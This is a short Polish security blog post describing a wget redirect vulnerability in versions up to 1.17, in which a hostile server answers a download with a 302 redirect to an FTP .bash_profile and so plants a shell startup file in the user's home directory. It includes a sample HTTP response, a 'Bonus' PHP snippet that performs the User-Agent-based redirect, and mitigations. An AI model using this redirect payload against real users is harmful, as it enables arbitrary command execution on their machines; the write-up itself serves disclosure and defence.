Uważaj czego sobie życzysz, ściągać
Napisał: Patryk Krawaczyński
12/07/2016 w Ataki Internetowe, Bezpieczeństwo Brak komentarzy. (artykuł nr 532, ilość słów: 212)
K
olejny atak na jedno z narzędzi Linuksowych. Tym razem ofiarą mogą paść użytkownicy korzystający z programu wget do ściągania różnych plików z niezaufanych źródeł. Podatność polega na wykorzystaniu sposobu w jaki narzędzie to radzi sobie z przekierowaniami. Atakujący, który kontroluje serwer lub jest w stanie przechwycić sesję użytkownika może spowodować wykonanie dowolnego polecenia po stronie klienta.
Przykład: użytkownik ściąga plik poleceniem: wget http://podejrzany-serwer/ulubiony_serial.mp4. Atakujący, który po stronie serwera jest w stanie kontrolować reguły HTTP dla tego obiektu może przy odpowiedzi na żądanie (rozpoznając User-Agent) odesłać spreparowane wartości nagłówków z kodem 30X:
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://podejrzany-serwer/.bash_profile Content-Length: 262 Server: Apache
Tym samym powodując, że użytkownik zamiast ściągnąć plik .mp4 zapisze w swoim katalogu domowym plik konfiguracyjny do powłoki bash. Podatność ta, która dotyczy wersji 1.17 oraz wcześniejszych nie zadziała jeśli użyjemy parametru -O definiującego pod jaką nazwą ma zostać zapisany plik. Kolejnym ograniczeniem jest fakt, że spreparowany plik zostanie zapisany w katalogu, z którego wget został uruchomiony lub zdefiniowany w parametrze -P.
Bonus:
<?php if(!empty($_SERVER['HTTP_USER_AGENT'])) { if(preg_match("/Wget/", $_SERVER['HTTP_USER_AGENT'])) { header("Location: ftp://podejrzany-serwer/.bash_profile", true, 302); exit; } } ?>
Więcej informacji: SSD Advisory – Wget Arbitrary Commands Execution